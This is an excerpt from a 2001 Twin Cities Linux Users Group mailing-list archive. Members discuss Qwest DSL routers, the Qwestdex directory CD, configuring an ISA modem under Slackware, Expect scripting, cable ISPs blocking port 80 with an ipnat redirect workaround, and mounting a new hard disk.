there have a DSL router they are willing to part with? Will that router work with a new connection (CAP/DMT) And why doesnt Real-Time have routers? > > RT doesn't supply your physical connection, they just supply service on > the other end of a PVC. > > Youll need a 678, and yes, they cost money. Another reason I use cable > right now. > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From trammell at trammell.dyndns.org Fri Aug 31 02:19:38 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <000601c131bf$621a7460$1e02a8c0@zippy>; from markbrowne@mn.mediaone.net on Thu, Aug 30, 2001 at 08:50:54PM -0500 References: <000601c131bf$621a7460$1e02a8c0@zippy> Message-ID: <20010831021938.A10482@trammell.dyndns.org> On Thu, Aug 30, 2001 at 08:50:54PM -0500, Mark Browne wrote: > Wrong! > > Real geeks don't mess with LaTex, GUIs, Command lines, compilers > and other such crutches, They program from the front panel with > switches and blinky lights. > > ;-) *Real* geeks lack the communication skills to make presentations. :-) -- 1 0wn d15 5Igf1l3!!! From trammell at trammell.dyndns.org Fri Aug 31 02:29:34 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Cisco 678 Router In-Reply-To: ; from nassarmu@mctc.mnscu.edu on Thu, Aug 30, 2001 at 05:25:05PM -0500 References: Message-ID: <20010831022934.A10544@trammell.dyndns.org> On Thu, Aug 30, 2001 at 05:25:05PM -0500, Munir Nassar wrote: > Ok, so i call up Real-Time for a DSL connection, but apparently > they dont supply the routers saying that I have to buy them from > Qwest. Qwest was more interested in getting me hooked up with > Mickysoft@home than talking about anything else, eventually they > wanted 300 bucks for the external router. That's a bit steep. I think they knocked off $100 from mine because I couldn't use the internal modem. I seem to get something in the mail from them just about every day selling DSL -- perhaps you can jump on the next time they have a sale. > Am I the only one who sees something wrong here? Probably. :-) > And why doesnt Real-Time have routers? I'd guess because it would be a big pain in the ass. -- According to the Genesis account, the tower of Babel was man's second major engineering undertaking, after Noah's ark. Babel was the first engineering fiasco. - F. Brooks, _The Mythical Man-Month_ From dieman+tclug at ringworld.org Thu Aug 30 22:43:35 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: References: <20010830192820.H4906@beaver.iucha.org> Message-ID: <20010830224335.G26388@ringworld.org> * Yaron [010830 19:33]: > I remember in Israel the telco released these CDs with the DB in Clipper > format... so everyone could do reverse-number lookups (which is illegal > information in Israel). I wonder if its illegal for you to make an ISO of the cd for anyone else to use. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jethro at freakzilla.com Thu Aug 30 22:57:24 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830224335.G26388@ringworld.org> Message-ID: Hey, On Thu, 30 Aug 2001, Scott Dier wrote: > I wonder if its illegal for you to make an ISO of the cd for anyone else > to use. I don't know. I'm fairly sure everyone in MPLS/STP will get a copy anyway. And if not, I'm sure they'll give you one. Not like you pay for the paper version, right? -Yaron -- From joel at luths.net Thu Aug 30 22:59:50 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM References: <3B8E9F01.7D7FB391@eetc.com> <20010830181149.68bdf077.blayer@qwest.net> Message-ID: <01bc01c131d1$627bf020$6601a8c0@cargill.com> ----- Original Message ----- From: "Bill Layer" To: Sent: Thursday, August 30, 2001 6:11 PM Subject: Re: [TCLUG] Qwestdex CDROM > On or about Thu, 30 Aug 2001 15:23:03 -0500 (CDT) > Yaron reportedly said... > > > No... this is Qwestdex, as in the yellow and white pages. There was a > > bundle of them at the appartment complex mailbox today, so I know Florin > > got one (; > > Heh, hopefully the CD isn't broken like that PATHETIC search engine that > runs the qwestdex.com site. That thing is downright comical... have you > ever tried it? I swear it is a bad attempt at a joke. > > I'm glad to hear it's not just me, having been completely baffled by that damn thing's output on several occasions. No one would even contemplate making public something so aweful, I thought, so maybe I just have a synapse mis-wired. Of course with Qwest there's no such thing as too bad for release I suppose. From florin at iucha.net Thu Aug 30 23:06:06 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: ; from jethro@freakzilla.com on Thu, Aug 30, 2001 at 10:57:24PM -0500 References: <20010830224335.G26388@ringworld.org> Message-ID: <20010830230605.J4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 10:57:24PM -0500, Yaron wrote: > Hey, > > On Thu, 30 Aug 2001, Scott Dier wrote: > > > I wonder if its illegal for you to make an ISO of the cd for anyone else > > to use. > > I don't know. I'm fairly sure everyone in MPLS/STP will get a copy anyway. > And if not, I'm sure they'll give you one. Not like you pay for the paper > version, right? You can't put the paper version up on a web site anyway. But as it doesn't say if I can use it as a coaster, burn it in the oven or else, it doesn't say I cannot make (and even sell) copies of it. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From doug at northlandstudios.com Thu Aug 30 23:16:57 2001 From: doug at northlandstudios.com (Doug) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Cisco 678 Router In-Reply-To: <009a01c131c9$1b987b90$0101a8c0@cascade> Message-ID: Yeah I was about to reply I just paid qworst $95 for mine... -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Thomas T. Veldhouse Sent: Thursday, August 30, 2001 10:01 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Cisco 678 Router They are supposed to be $99 through the end of October! Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Scott Dier" To: Sent: Thursday, August 30, 2001 5:33 PM Subject: Re: [TCLUG] Cisco 678 Router > * Munir Nassar [010830 17:28]: > > Am I the only one who sees something wrong here? does anyone out there have a DSL router they are willing to part with? Will that router work with a new connection (CAP/DMT) And why doesnt Real-Time have routers? > > RT doesn't supply your physical connection, they just supply service on > the other end of a PVC. > > Youll need a 678, and yes, they cost money. Another reason I use cable > right now. > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From josh at greentechnologist.org Thu Aug 30 23:17:44 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830230605.J4906@beaver.iucha.org> Message-ID: Are there any phone numbers on the cd? I'd like to get a copy if there is a place to get them from. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Thu, 30 Aug 2001, Florin Iucha wrote: > On Thu, Aug 30, 2001 at 10:57:24PM -0500, Yaron wrote: > > Hey, > > > > On Thu, 30 Aug 2001, Scott Dier wrote: > > > > > I wonder if its illegal for you to make an ISO of the cd for anyone else > > > to use. > > > > I don't know. I'm fairly sure everyone in MPLS/STP will get a copy anyway. > > And if not, I'm sure they'll give you one. Not like you pay for the paper > > version, right? > > You can't put the paper version up on a web site anyway. > > But as it doesn't say if I can use it as a coaster, burn it in the oven or > else, it doesn't say I cannot make (and even sell) copies of it. > > florin > > -- > > "If it's not broken, let's fix it till it is." > > 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From simeonuj at eetc.com Fri Aug 31 00:05:22 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] console automation ??? References: <3B8EB776.DF7299D3@eetc.com> <20010830173016.E4906@beaver.iucha.org> Message-ID: <3B8F1B00.94642EA1@eetc.com> Looks very promising. :) I'm not a programmer yet though. What is this? C/C++? Assy? sim From barnabas at knicknack.net Fri Aug 31 08:05:00 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] console automation ??? In-Reply-To: <3B8F1B00.94642EA1@eetc.com>; from simeonuj@eetc.com on Fri, Aug 31, 2001 at 12:05:22AM -0500 References: <3B8EB776.DF7299D3@eetc.com> <20010830173016.E4906@beaver.iucha.org> <3B8F1B00.94642EA1@eetc.com> Message-ID: <20010831080500.A13701@knicknack.net> If you're referring to Expect, it is an extension of the scripting language Tcl. I don't think you need to know that much about Tcl, though, in order to learn Expect. Eric On Fri, Aug 31, 2001 at 12:05:22AM -0500, Simeon Johnston wrote: > Looks very promising. :) > > I'm not a programmer yet though. What is this? C/C++? Assy? > > sim From tmechanic at mn.mediaone.net Fri Aug 31 08:14:46 2001 From: tmechanic at mn.mediaone.net (B T) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] SuSE for linux newbies References: <20010830.10544900@linwin.mshome.net> <01083017183900.03548@geezer> Message-ID: <3B8F8DC6.1D6B1E1A@mn.mediaone.net> How is Suse 7.2 for dual boot systems. From fertch at mninter.net Fri Aug 31 07:56:50 2001 From: fertch at mninter.net (Shawn Fertch) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] ISA modem In-Reply-To: <01083011321101.00829@bleys> References: <01083011321101.00829@bleys> Message-ID: <01083107565000.00485@bleys> On Thursday 30 August 2001 11:32, you wrote: > I'm trying to get my internal ISA modem to work. It's a US Robotics 56k > modem. The it's assigned an IRQ of 5, Com 4 under Win2k. I recently > reloaded my box and assigned the modem to ttyS3 under the Slackware 8 > setup. Is there something more I need to do to get it to work? I have the > ISA PnP module loaded as well. > > Would this be in the modem how-to or in the ppp how-to also? A little more info on this: When I initially did setserial -bg /dev/ttyS? it cam back showing that I only had one serial port of ttyS2 with an irq of 4. So then I tried to do setserial -irq 5 -uart 16550A /dev/ttyS3 and it added it in. I'm no further along now than I was initially. /dev/ttyS3 is linked to /dev/modem as well. I have both of my external serial port connections disabled in the bios, as well as non PnP OS selected. The modem has jumpers on it, but I've not touched them from the factory settings. It's an older ISA 56k modem, which I think might be an 8-bit card. It only goes into the slot closest to the back of the case, not both like some of the other ISA cards. I've read through some of the Modem How-To, but it doesn't seem to clear to me right now as to what I need to do beyond this. Any help on this would be appreciated. I'll try and go through the old posts and see what I can find. From florin at iucha.net Fri Aug 31 07:58:32 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] console automation ??? In-Reply-To: <3B8F1B00.94642EA1@eetc.com>; from simeonuj@eetc.com on Fri, Aug 31, 2001 at 12:05:22AM -0500 References: <3B8EB776.DF7299D3@eetc.com> <20010830173016.E4906@beaver.iucha.org> <3B8F1B00.94642EA1@eetc.com> Message-ID: <20010831075832.K4906@beaver.iucha.org> On Fri, Aug 31, 2001 at 12:05:22AM -0500, Simeon Johnston wrote: > Looks very promising. :) > > I'm not a programmer yet though. What is this? C/C++? Assy? > Straight C. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From eng at pinenet.com Fri Aug 31 08:25:53 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] (SuSE) linux, kylix, staroffice integration for controls?? In-Reply-To: <01083017183900.03548@geezer> References: <20010830.10544900@linwin.mshome.net> <01083017183900.03548@geezer> Message-ID: <20010831.13255300@linwin.mshome.net> Please help me resolve some (probably) simple issues. I'm trying to put together a relatively simple setup. My PCs are older so I've tried to avoid the 2.4 kernel. (The Red Hat 7.1 install was a problem and consumed too much memory. And the mouse didn't work right.) Currently, my favorite PC is an IBM PC300GL (a thin desktop) with a pentium 200MMX and 128MB RAM. I've tried KDE 2.x.x ("konquerer") on SuSE 6.4 and prefer the simple older KDE (KFM) (forget "nautilus"). I don't want a browser in KDE, just a GUI file manager. The problem is finding out how to combine StarOffice (perhaps with Java and error suppression) and Kylix on the same simple linux distribution. StarOffice seems happy with older distributions. Kylix rejects (g)libc 2.1.3 and insists on either a patch or (g)libc 2.2 used by (eg) SuSE 7.1. The patches SuSE offers don't seem to satisfy Kylix with regard to some "loader bug." For an instrumentation and controls system, one prefers a smaller PC (forget embedded boards), a multi-tasking OS with simple graphical controls (older SuSE linux), a powerful API (Kylix), and a cross platform file system with browser (StarOffice). Integrating these three software elements cleanly for a controls architecture has been a (fun) challenge. Various complex devices should be manageable by this generic controller architecture. (I'm betting on stationary fuel cell co-generating plants.) Clearly, software integration and optimization is not my forte. Any suggestions are appreciated. (No wise guys, please.) Thanks, Rick. From jack at jacku.com Fri Aug 31 08:51:33 2001 From: jack at jacku.com (jack@jacku.com) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] SuSE for linux newbies Message-ID: <20010831135133.8753.cpmta@c017.sfo.cp.net> Shouldn't be a problem. I haven't updated my dual boot system to 7.2 yet. (I've just moved and well...) I have run 6.0, 6.2, and 7.0 as dual boots with no problems. Jack On Fri, 31 August 2001, B T wrote: > > How is Suse 7.2 for dual boot systems. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jamie_seeman at securecomputing.com Fri Aug 31 09:12:28 2001 From: jamie_seeman at securecomputing.com (Jamie Seeman) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] console automation ??? References: <3B8EB776.DF7299D3@eetc.com> <20010830173016.E4906@beaver.iucha.org> <3B8F1B00.94642EA1@eetc.com> <20010831080500.A13701@knicknack.net> Message-ID: <3B8F9B4C.8FA44C0F@securecomputing.com> Perl also has an Expect module. And yes, you don't need to know much about Tcl to use expect. I use it at work a lot (not by choice). Jamie Eric Stanley wrote: > If you're referring to Expect, it is an extension of the scripting > language Tcl. I don't think you need to know that much about Tcl, > though, in order to learn Expect. > > Eric > > On Fri, Aug 31, 2001 at 12:05:22AM -0500, Simeon Johnston wrote: > > Looks very promising. :) > > > > I'm not a programmer yet though. What is this? C/C++? Assy? > > > > sim > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From Phillip.J.Crump at WellsFargo.COM Fri Aug 31 09:21:38 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? Message-ID: <43353280FCFFD211971E00005801192E065950B5@msgmsp15.norwest.com> I was going to get a cable modem @ home and was wondering if the broadband folks were still blocking incoming port 80 requests?? From florin at iucha.net Fri Aug 31 09:28:00 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] ISA modem In-Reply-To: <01083107565000.00485@bleys>; from fertch@mninter.net on Fri, Aug 31, 2001 at 07:56:50AM -0500 References: <01083011321101.00829@bleys> <01083107565000.00485@bleys> Message-ID: <20010831092800.L4906@beaver.iucha.org> On Fri, Aug 31, 2001 at 07:56:50AM -0500, Shawn Fertch wrote: > On Thursday 30 August 2001 11:32, you wrote: > > I'm trying to get my internal ISA modem to work. It's a US Robotics 56k > > modem. The it's assigned an IRQ of 5, Com 4 under Win2k. I recently > > reloaded my box and assigned the modem to ttyS3 under the Slackware 8 > > setup. Is there something more I need to do to get it to work? I have the > > ISA PnP module loaded as well. > > > > Would this be in the modem how-to or in the ppp how-to also? > > A little more info on this: > > When I initially did setserial -bg /dev/ttyS? it cam back showing that I > only had one serial port of ttyS2 with an irq of 4. > > So then I tried to do setserial -irq 5 -uart 16550A /dev/ttyS3 and it added > it in. I'm no further along now than I was initially. /dev/ttyS3 is linked > to /dev/modem as well. > > I have both of my external serial port connections disabled in the bios, as > well as non PnP OS selected. > > The modem has jumpers on it, but I've not touched them from the factory > settings. It's an older ISA 56k modem, which I think might be an 8-bit card. > It only goes into the slot closest to the back of the case, not both like > some of the other ISA cards. > > I've read through some of the Modem How-To, but it doesn't seem to clear to > me right now as to what I need to do beyond this. Any help on this would be > appreciated. I'll try and go through the old posts and see what I can find. If you don't need the serial ports of your pc you might want to disable them in BIOS to see if that helps. What are you using to test if the modem works? minicom? ppp? florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From rsinland at gvtel.com Fri Aug 31 09:45:00 2001 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] ISA modem References: <01083011321101.00829@bleys> <01083107565000.00485@bleys> <20010831092800.L4906@beaver.iucha.org> Message-ID: <3B8FA2EC.DC52E03C@gvtel.com> Florin Iucha wrote: > On Fri, Aug 31, 2001 at 07:56:50AM -0500, Shawn Fertch wrote: > > On Thursday 30 August 2001 11:32, you wrote: > > > I'm trying to get my internal ISA modem to work. It's a US Robotics 56k > > > modem. The it's assigned an IRQ of 5, Com 4 under Win2k. I recently > > > reloaded my box and assigned the modem to ttyS3 under the Slackware 8 > > > setup. Is there something more I need to do to get it to work? I have the > > > ISA PnP module loaded as well. > > > > > > Would this be in the modem how-to or in the ppp how-to also? > > > > A little more info on this: > > > > When I initially did setserial -bg /dev/ttyS? it cam back showing that I > > only had one serial port of ttyS2 with an irq of 4. > > > > So then I tried to do setserial -irq 5 -uart 16550A /dev/ttyS3 and it added > > it in. I'm no further along now than I was initially. /dev/ttyS3 is linked > > to /dev/modem as well. > > > > I have both of my external serial port connections disabled in the bios, as > > well as non PnP OS selected. > > > > The modem has jumpers on it, but I've not touched them from the factory > > settings. It's an older ISA 56k modem, which I think might be an 8-bit card. > > It only goes into the slot closest to the back of the case, not both like > > some of the other ISA cards. Might be a shared slot. Do you have a PCI card in the next slot? If so that could be the problem RS From nate at techie.com Fri Aug 31 10:04:38 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? In-Reply-To: <43353280FCFFD211971E00005801192E065950B5@msgmsp15.norwest.com>; from Phillip.J.Crump@WellsFargo.COM on Fri, Aug 31, 2001 at 09:21:38AM -0500 References: <43353280FCFFD211971E00005801192E065950B5@msgmsp15.norwest.com> Message-ID: <20010831100438.B30057@candle.mn.mediaone.net> On Fri, Aug 31, 2001 at 09:21:38AM -0500, Phillip.J.Crump@WellsFargo.COM wrote: > I was going to get a cable modem @ home and was wondering if the broadband > folks were still blocking incoming port 80 requests?? AT&T is still blocking port 80. I'm redirecting 8080 down to 80 as a temporary fix. I just need to remember to put that in the URLs I send out to friends. Nate P.S.: Please, let's not get too far onto this subject again. From lxy at cloudnet.com Fri Aug 31 10:24:26 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830181149.68bdf077.blayer@qwest.net> Message-ID: On Thu, 30 Aug 2001, Bill Layer wrote: > Heh, hopefully the CD isn't broken like that PATHETIC search engine that > runs the qwestdex.com site. That thing is downright comical... have you > ever tried it? I swear it is a bad attempt at a joke. I can only assume it is. Their search engine is worthless crap. In theory, if someone has a Qworst line, wouldn't you check their database first? How is it that AT&T has a better database of Qworst numbers than Qworst does? So anyway, where I'm going with this is I started looking for a new directory after Qworst failed to find "Cokato City Hall" in Cokato. WTF? Went over to http://www.att.com/directory/index.html and found it right away. Qworst still sucks. -Brian From fertch at mninter.net Fri Aug 31 10:52:03 2001 From: fertch at mninter.net (Shawn Fertch) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] ISA modem In-Reply-To: <20010831092800.L4906@beaver.iucha.org> References: <01083011321101.00829@bleys> <01083107565000.00485@bleys> <20010831092800.L4906@beaver.iucha.org> Message-ID: <01083110520303.00485@bleys> On Friday 31 August 2001 09:28, you wrote: > > > > I have both of my external serial port connections disabled in the bios, > > as well as non PnP OS selected. > If you don't need the serial ports of your pc you might want to disable > them in BIOS to see if that helps. > Yep, stated that in the message I sent out. See above. > What are you using to test if the modem works? minicom? ppp? PPP to see if I can get it to initialize the modem. It won't, comes back with script failures. Haven't looked into the log on it though, but I'm thinking it's because the serial port isn't being seen. Shawn From fertch at mninter.net Fri Aug 31 10:56:04 2001 From: fertch at mninter.net (Shawn Fertch) Date: Mon Jan 17 13:27:01 2005 Subject: [TCLUG] ISA modem In-Reply-To: <3B8FA2EC.DC52E03C@gvtel.com> References: <01083011321101.00829@bleys> <20010831092800.L4906@beaver.iucha.org> <3B8FA2EC.DC52E03C@gvtel.com> Message-ID: <01083110560404.00485@bleys> On Friday 31 August 2001 09:45, you wrote: > > > The modem has jumpers on it, but I've not touched them from the factory > > > settings. It's an older ISA 56k modem, which I think might be an 8-bit > > > card. It only goes into the slot closest to the back of the case, not > > > both like some of the other ISA cards. > > Might be a shared slot. Do you have a PCI card in the next slot? If so > that could be the problem It's possible, but I don't think I have anything in the slot directly above it. What I was referring to on the slot is that there is the groove in the card between all the pins. Generally if you have a shared slot PCI/ISA you can only put one or the other in. Again, it's an early USR 56k modem, and with the jumpers being on it I'd assume it compatible. However, I don't have the model # currently being that I'm at work now. Shawn From jspinti at dart.dartdist.com Fri Aug 31 11:29:57 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] ISA modem In-Reply-To: <01083110560404.00485@bleys> Message-ID: Sounds like an old 8 bit card. Is it possible that the jumpers are set to an IRQ that something else is using? Most of the older ISA modems had an IRQ range up to 7, could it be set the same as your parallel port or sound card? Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Shawn Fertch |Sent: Friday, August 31, 2001 10:56 AM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] ISA modem | | |On Friday 31 August 2001 09:45, you wrote: | |> > > The modem has jumpers on it, but I've not touched them from |the factory |> > > settings. It's an older ISA 56k modem, which I think might |be an 8-bit |> > > card. It only goes into the slot closest to the back of the case, not |> > > both like some of the other ISA cards. | From florin at iucha.net Fri Aug 31 11:48:53 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] ISA modem In-Reply-To: <01083110520303.00485@bleys>; from fertch@mninter.net on Fri, Aug 31, 2001 at 10:52:03AM -0500 References: <01083011321101.00829@bleys> <01083107565000.00485@bleys> <20010831092800.L4906@beaver.iucha.org> <01083110520303.00485@bleys> Message-ID: <20010831114853.M4906@beaver.iucha.org> On Fri, Aug 31, 2001 at 10:52:03AM -0500, Shawn Fertch wrote: > On Friday 31 August 2001 09:28, you wrote: > > > > > > I have both of my external serial port connections disabled in the bios, > > > as well as non PnP OS selected. > > > > If you don't need the serial ports of your pc you might want to disable > > them in BIOS to see if that helps. > > > Yep, stated that in the message I sent out. See above. Sorry, I have missed that. > > > What are you using to test if the modem works? minicom? ppp? > > PPP to see if I can get it to initialize the modem. It won't, comes back > with script failures. Haven't looked into the log on it though, but I'm > thinking it's because the serial port isn't being seen. > Use minicom and check 1. if you get at working 2. if you can manualy dial out 3. if you can login to the ppp server florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From Phillip.J.Crump at WellsFargo.COM Fri Aug 31 11:49:53 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? Message-ID: <43353280FCFFD211971E00005801192E06595147@msgmsp15.norwest.com> How do you do the re-direction from 8080 to 80?? > -----Original Message----- > From: Nate Straz [SMTP:nate@techie.com] > Sent: Friday, August 31, 2001 10:05 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Cable Still Blocking Port 80?? > > On Fri, Aug 31, 2001 at 09:21:38AM -0500, Phillip.J.Crump@WellsFargo.COM > wrote: > > I was going to get a cable modem @ home and was wondering if the > broadband > > folks were still blocking incoming port 80 requests?? > > AT&T is still blocking port 80. I'm redirecting 8080 down to 80 as a > temporary fix. I just need to remember to put that in the URLs I send > out to friends. > > Nate > > P.S.: Please, let's not get too far onto this subject again. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From steveg at transition.com Fri Aug 31 12:24:10 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Illegal to use Microsoft?? Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFE4@postman.transition.com> This would be an interesting twist if it actually starts to happen. http://www.zdnet.com/zdnn/stories/news/0,4586,2809001,00.html?chkpt=zdnnp1tp 01 Now that I think about it wouldn't it be funny if instead of the DOJ trying to break up Microsoft they just made a budget decision not to use any federal funding to buy Microsoft products until the bootloader/trade secret issue is resolved? To hell with antitrust law, just kick 'em right in the wallet. I mean after all the government is a consumer and a consumer does have a choice in what he/she/it buys. If they don't like Microsoft's business practices they should just quit buying their products. From austad at marketwatch.com Fri Aug 31 12:44:16 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cisco 675 for sale Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDE45@mspexch2.office.mktw.net> I don't need my 675 anymore, contact me if you want to buy the thing or it's going up on egay. From nassarmu at mctc.mnscu.edu Fri Aug 31 13:14:22 2001 From: nassarmu at mctc.mnscu.edu (Munir Nassar) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cisco 675 for sale Message-ID: Will this router work with the newer DSL lines? -munir >>> "Austad, Jay" 08/31/01 12:47 PM >>> I don't need my 675 anymore, contact me if you want to buy the thing or it's going up on egay. _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From sandeen at sgi.com Fri Aug 31 13:26:41 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cisco 675 for sale References: Message-ID: <3B8FD6E1.26E89984@sgi.com> Munir Nassar wrote: > > Will this router work with the newer DSL lines? Nope. Qwest will not hook you up with a 675, AFAIK. (Sorry Jay...) -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From nate at techie.com Fri Aug 31 13:49:54 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? In-Reply-To: <43353280FCFFD211971E00005801192E06595147@msgmsp15.norwest.com>; from Phillip.J.Crump@WellsFargo.COM on Fri, Aug 31, 2001 at 11:49:53AM -0500 References: <43353280FCFFD211971E00005801192E06595147@msgmsp15.norwest.com> Message-ID: <20010831134954.C30057@candle.mn.mediaone.net> On Fri, Aug 31, 2001 at 11:49:53AM -0500, Phillip.J.Crump@WellsFargo.COM wrote: > How do you do the re-direction from 8080 to 80?? I use OpenBSD. :) Here is the ipnat rule that I use. I don't know what the equivalent is in ipchains, netfilter, whatever the latest Linux firewall is. # Redirect web traffic from 8080 to 80 rdr sis1 candle.dhs.org/32 port 8080 -> candle.dhs.org port 80 Nate From simeonuj at eetc.com Fri Aug 31 14:09:12 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] console automation ??? References: <3B8EB776.DF7299D3@eetc.com> <20010830173016.E4906@beaver.iucha.org> <3B8F1B00.94642EA1@eetc.com> <20010831080500.A13701@knicknack.net> Message-ID: <3B8FE0B4.2D8788FF@eetc.com> Eric Stanley wrote: > > If you're referring to Expect, it is an extension of the scripting > language Tcl. I don't think you need to know that much about Tcl, > though, in order to learn Expect. I was talking about the program the Florin made. Expect looks kinda cool but not what I'm looking for exactly. sim From Ben at WorksCited.Net Fri Aug 31 14:26:46 2001 From: Ben at WorksCited.Net (Ben Stallings) Date: Mon Jan 17 13:27:02 2005 Subject: [TCLUG] Cisco 678 Router In-Reply-To: Message-ID: >Am I the only one who sees something wrong here? does anyone out there >have a DSL router they are willing to part with? I saw some good DSL router prices on shopping.yahoo.com and ebay while looking for something else, so look there if you haven't already. --Ben From Rodney.Ray at childrenshc.org Fri Aug 31 14:27:15 2001 From: Rodney.Ray at childrenshc.org (Rodney Ray) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Adding a HD Message-ID: Does anyone know where a good resource is for adding a HD to a Linux box? I have a SCSI for the OS and then decided that I wanted to add a HD last week to have a little more space. I think I got it formatted and set as a ext2 parti on, but I'm not sure where to go from there, any help would be greatly appreciated. From sandeen at sgi.com Fri Aug 31 14:32:51 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Adding a HD References: Message-ID: <3B8FE663.9179A3D5@sgi.com> Rodney Ray wrote: > > Does anyone know where a good resource is for adding a HD to a Linux box? I have a SCSI for the OS and then decided that I wanted to add a HD last week to have a little more space. I think I got it formatted and set as a ext2 parti on, but I'm not sure where to go from there, any help would be greatly appreciated. If you want to use it for data space, just make a mountpoint somewhere (/mnt/data?) and mount your drive there. (mount -t ext2 /dev/ /mnt/data). If you want to copy over your whole system onto this new drive, there's a HOWTO 